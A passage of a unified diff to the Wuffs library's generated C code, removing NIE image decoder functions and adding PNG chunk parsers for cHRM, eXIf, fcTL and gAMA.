self->private_data.s_decode_chrm.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); -+ if (num_bits_2 == 24) { -+ t_2 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_2 += 8u; -+ *scratch |= ((uint64_t)(num_bits_2)); -+ } -+ } -+ v_u = t_2; - } --#if !defined(__clang__) && defined(__GNUC__) --#pragma GCC diagnostic pop --#endif -- } else { -- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -- memset(self, 0, sizeof(*self)); -- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -- } else { -- memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ self->private_impl.f_metadata_x |= ((uint64_t)((16777215u & v_u) << 48u)); -+ self->private_impl.f_metadata_y |= ((16777215u & v_u) >> 16u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ uint64_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_3 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_chrm.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -+ if (num_bits_3 == 24) { -+ t_3 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)); -+ } -+ } -+ v_u = t_3; - } -- } -- -- self->private_impl.magic = WUFFS_BASE__MAGIC; -- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = -- wuffs_base__image_decoder__vtable_name; -- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = -- (const void*)(&wuffs_nie__decoder__func_ptrs_for__wuffs_base__image_decoder); -- return wuffs_base__make_status(NULL); --} -- --wuffs_nie__decoder* --wuffs_nie__decoder__alloc(void) { -- wuffs_nie__decoder* x = -- (wuffs_nie__decoder*)(calloc(sizeof(wuffs_nie__decoder), 1)); -- if (!x) { -- return NULL; -- } -- if (wuffs_nie__decoder__initialize( -- x, sizeof(wuffs_nie__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -- free(x); -- return NULL; -- } -- return x; --} -- --size_t --sizeof__wuffs_nie__decoder(void) { -- return sizeof(wuffs_nie__decoder); --} -- --// ---------------- Function Implementations -- --// -------- func nie.decoder.get_quirk -+ self->private_impl.f_metadata_y |= ((16777215u & v_u) << 8u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ uint64_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_4 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_chrm.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -+ if (num_bits_4 == 24) { -+ t_4 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)); -+ } -+ } -+ v_u = t_4; -+ } -+ self->private_impl.f_metadata_y |= ((16777215u & v_u) << 32u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ uint64_t t_5; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_5 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_chrm.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; -+ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -+ if (num_bits_5 == 24) { -+ t_5 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_5 += 8u; -+ *scratch |= ((uint64_t)(num_bits_5)); -+ } -+ } -+ v_u = t_5; -+ } -+ self->private_impl.f_metadata_y |= ((uint64_t)((16777215u & v_u) << 56u)); -+ self->private_impl.f_metadata_z |= ((16777215u & v_u) >> 8u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ uint64_t t_6; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_6 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_chrm.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; -+ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); -+ if (num_bits_6 == 24) { -+ t_6 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_6 += 8u; -+ *scratch |= ((uint64_t)(num_bits_6)); -+ } -+ } -+ v_u = t_6; -+ } -+ self->private_impl.f_metadata_z |= ((16777215u & v_u) << 16u); -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ uint64_t t_7; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_7 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_chrm.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_chrm.scratch; -+ uint32_t num_bits_7 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_7); -+ if (num_bits_7 == 24) { -+ t_7 = ((uint64_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_7 += 8u; -+ *scratch |= ((uint64_t)(num_bits_7)); -+ } -+ } -+ v_u = t_7; -+ } -+ self->private_impl.f_metadata_z |= ((16777215u & v_u) << 40u); - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_nie__decoder__get_quirk( -- const wuffs_nie__decoder* self, -- uint32_t a_key) { -- if (!self) { -- return 0; -- } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ goto ok; -+ ok: -+ self->private_impl.p_decode_chrm = 0; -+ goto exit; - } - -- return 0u; --} -- --// -------- func nie.decoder.set_quirk -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_chrm = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__set_quirk( -- wuffs_nie__decoder* self, -- uint32_t a_key, -- uint64_t a_value) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } - -- return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+ return status; - } - --// -------- func nie.decoder.decode_image_config -+// -------- func png.decoder.decode_exif - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__decode_image_config( -- wuffs_nie__decoder* self, -- wuffs_base__image_config* a_dst, -+static wuffs_base__status -+wuffs_png__decoder__decode_exif( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 1)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; - wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_nie__decoder__do_decode_image_config(self, a_dst, a_src); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_nie__error__truncated_input); -- goto exit; -- } -- status = v_status; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -- } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - -- ok: -- self->private_impl.p_decode_image_config[0] = 0; -+ if (self->private_impl.f_chunk_length < 4u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); - goto exit; - } -+ self->private_impl.f_metadata_flavor = 3u; -+ self->private_impl.f_metadata_fourcc = 1163413830u; -+ self->private_impl.f_metadata_x = 0u; -+ self->private_impl.f_metadata_y = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ self->private_impl.f_metadata_z = wuffs_base__u64__sat_add(self->private_impl.f_metadata_y, ((uint64_t)(self->private_impl.f_chunk_length))); -+ self->private_impl.f_chunk_length = 0u; - -- goto suspend; -- suspend: -- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -- -+ goto ok; -+ ok: - goto exit; - exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); - } -+ - return status; - } - --// -------- func nie.decoder.do_decode_image_config -+// -------- func png.decoder.decode_fctl - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_nie__decoder__do_decode_image_config( -- wuffs_nie__decoder* self, -- wuffs_base__image_config* a_dst, -+wuffs_png__decoder__decode_fctl( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_a = 0; -+ uint32_t v_x0 = 0; -+ uint32_t v_y0 = 0; -+ uint32_t v_x1 = 0; -+ uint32_t v_y1 = 0; - - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -51075,185 +64112,309 @@ wuffs_nie__decoder__do_decode_image_config( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_decode_fctl; -+ if (coro_susp_point) { -+ v_x0 = self->private_data.s_decode_fctl.v_x0; -+ v_x1 = self->private_data.s_decode_fctl.v_x1; -+ v_y1 = self->private_data.s_decode_fctl.v_y1; -+ } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_call_sequence != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -+ if (self->private_impl.f_chunk_length != 26u) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); - goto exit; - } -+ self->private_impl.f_chunk_length = 0u; - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); - uint32_t t_0; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); - iop_a_src += 4; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -+ self->private_data.s_decode_fctl.scratch = 0; - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -+ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); - *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); - if (num_bits_0 == 24) { -- t_0 = ((uint32_t)(*scratch)); -+ t_0 = ((uint32_t)(*scratch >> 32)); - break; - } - num_bits_0 += 8u; -- *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ *scratch |= ((uint64_t)(num_bits_0)); - } - } -- v_a = t_0; -+ v_x0 = t_0; - } -- if (v_a != 1169146734u) { -- status = wuffs_base__make_status(wuffs_nie__error__bad_header); -+ if (v_x0 != self->private_impl.f_next_animation_seq_num) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_animation_sequence_number); -+ goto exit; -+ } else if (self->private_impl.f_next_animation_seq_num >= 4294967295u) { -+ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); - goto exit; - } -+ self->private_impl.f_next_animation_seq_num += 1u; - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); - uint32_t t_1; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_1 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); - iop_a_src += 4; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -+ self->private_data.s_decode_fctl.scratch = 0; - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -+ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); - *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); - if (num_bits_1 == 24) { -- t_1 = ((uint32_t)(*scratch)); -+ t_1 = ((uint32_t)(*scratch >> 32)); - break; - } - num_bits_1 += 8u; -- *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ *scratch |= ((uint64_t)(num_bits_1)); - } - } -- v_a = t_1; -- } -- if (v_a == 879649535u) { -- self->private_impl.f_pixfmt = 2164295816u; -- } else if (v_a == 946758399u) { -- self->private_impl.f_pixfmt = 2164308923u; -- } else if (v_a == 879780607u) { -- status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); -- goto exit; -- } else if (v_a == 946889471u) { -- status = wuffs_base__make_status(wuffs_nie__error__unsupported_nie_file); -- goto exit; -- } else { -- status = wuffs_base__make_status(wuffs_nie__error__bad_header); -- goto exit; -+ v_x1 = t_1; - } - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); - uint32_t t_2; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_2 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ t_2 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); - iop_a_src += 4; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -+ self->private_data.s_decode_fctl.scratch = 0; - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); -- *scratch <<= 8; -+ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; -+ uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); - *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); - if (num_bits_2 == 24) { -- t_2 = ((uint32_t)(*scratch)); -+ t_2 = ((uint32_t)(*scratch >> 32)); - break; - } - num_bits_2 += 8u; -- *scratch |= ((uint64_t)(num_bits_2)) << 56; -+ *scratch |= ((uint64_t)(num_bits_2)); - } - } -- v_a = t_2; -- } -- if (v_a > 2147483647u) { -- status = wuffs_base__make_status(wuffs_nie__error__bad_header); -- goto exit; -- } else if (v_a > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -- goto exit; -+ v_y1 = t_2; - } -- self->private_impl.f_width = v_a; - { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); - uint32_t t_3; - if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); - iop_a_src += 4; - } else { -- self->private_data.s_do_decode_image_config[0].scratch = 0; -+ self->private_data.s_decode_fctl.scratch = 0; - WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); - while (true) { - if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { - status = wuffs_base__make_status(wuffs_base__suspension__short_read); - goto suspend; - } -- uint64_t* scratch = &self->private_data.s_do_decode_image_config[0].scratch; -- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -+ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); -+ if (num_bits_3 == 24) { -+ t_3 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)); -+ } -+ } -+ v_x0 = t_3; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ uint32_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_4 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_decode_fctl.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); -+ if (num_bits_4 == 24) { -+ t_4 = ((uint32_t)(*scratch >> 32)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)); -+ } -+ } -+ v_y0 = t_4; -+ } -+ v_x1 += v_x0; -+ v_y1 += v_y0; -+ if ((v_x0 >= v_x1) || -+ (v_x0 > self->private_impl.f_width) || -+ (v_x1 > self->private_impl.f_width) || -+ (v_y0 >= v_y1) || -+ (v_y0 > self->private_impl.f_height) || -+ (v_y1 > self->private_impl.f_height)) { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ goto exit; -+ } -+ self->private_impl.f_frame_rect_x0 = v_x0; -+ self->private_impl.f_frame_rect_y0 = v_y0; -+ self->private_impl.f_frame_rect_x1 = v_x1; -+ self->private_impl.f_frame_rect_y1 = v_y1; -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); -+ uint32_t t_5; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_5 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_fctl.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; -+ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); -+ *scratch >>= 8; - *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); -+ if (num_bits_5 == 8) { -+ t_5 = ((uint32_t)(*scratch >> 48)); -+ break; -+ } -+ num_bits_5 += 8u; -+ *scratch |= ((uint64_t)(num_bits_5)); -+ } -+ } -+ v_x0 = t_5; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); -+ uint32_t t_6; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_6 = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_decode_fctl.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_decode_fctl.scratch; -+ uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); - *scratch >>= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -- if (num_bits_3 == 24) { -- t_3 = ((uint32_t)(*scratch)); -+ *scratch <<= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); -+ if (num_bits_6 == 8) { -+ t_6 = ((uint32_t)(*scratch >> 48)); - break; - } -- num_bits_3 += 8u; -- *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ num_bits_6 += 8u; -+ *scratch |= ((uint64_t)(num_bits_6)); - } - } -- v_a = t_3; -+ v_x1 = t_6; - } -- if (v_a > 2147483647u) { -- status = wuffs_base__make_status(wuffs_nie__error__bad_header); -+ if (v_x1 <= 0u) { -+ self->private_impl.f_frame_duration = (((uint64_t)(v_x0)) * 7056000u); -+ } else { -+ self->private_impl.f_frame_duration = ((((uint64_t)(v_x0)) * 705600000u) / ((uint64_t)(v_x1))); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_7 = *iop_a_src++; -+ v_x0 = t_7; -+ } -+ if (v_x0 == 0u) { -+ self->private_impl.f_frame_disposal = 0u; -+ } else if (v_x0 == 1u) { -+ self->private_impl.f_frame_disposal = 1u; -+ } else if (v_x0 == 2u) { -+ self->private_impl.f_frame_disposal = 2u; -+ } else { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); - goto exit; -- } else if (v_a > 16777215u) { -- status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint32_t t_8 = *iop_a_src++; -+ v_x0 = t_8; -+ } -+ if (v_x0 == 0u) { -+ self->private_impl.f_frame_overwrite_instead_of_blend = true; -+ } else if (v_x0 == 1u) { -+ self->private_impl.f_frame_overwrite_instead_of_blend = false; -+ } else { -+ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); - goto exit; - } -- self->private_impl.f_height = v_a; -- if (a_dst != NULL) { -- wuffs_base__image_config__set( -- a_dst, -- self->private_impl.f_pixfmt, -- 0u, -- self->private_impl.f_width, -- self->private_impl.f_height, -- 16u, -- false); -+ if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { -+ self->private_impl.f_first_rect_x0 = self->private_impl.f_frame_rect_x0; -+ self->private_impl.f_first_rect_y0 = self->private_impl.f_frame_rect_y0; -+ self->private_impl.f_first_rect_x1 = self->private_impl.f_frame_rect_x1; -+ self->private_impl.f_first_rect_y1 = self->private_impl.f_frame_rect_y1; -+ self->private_impl.f_first_duration = self->private_impl.f_frame_duration; -+ self->private_impl.f_first_disposal = self->private_impl.f_frame_disposal; -+ self->private_impl.f_first_overwrite_instead_of_blend = self->private_impl.f_frame_overwrite_instead_of_blend; - } -- self->private_impl.f_call_sequence = 32u; - - goto ok; - ok: -- self->private_impl.p_do_decode_image_config[0] = 0; -+ self->private_impl.p_decode_fctl = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_do_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.p_decode_fctl = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_decode_fctl.v_x0 = v_x0; -+ self->private_data.s_decode_fctl.v_x1 = v_x1; -+ self->private_data.s_decode_fctl.v_y1 = v_y1; - - goto exit; - exit: -@@ -51264,82 +64425,99 @@ wuffs_nie__decoder__do_decode_image_config( - return status; - } - --// -------- func nie.decoder.decode_frame_config -+// -------- func png.decoder.decode_gama - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_nie__decoder__decode_frame_config( -- wuffs_nie__decoder* self, -- wuffs_base__frame_config* a_dst, -+static wuffs_base__status -+wuffs_png__decoder__decode_gama( -+ wuffs_png__decoder* self, - wuffs_base__io_buffer* a_src) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return 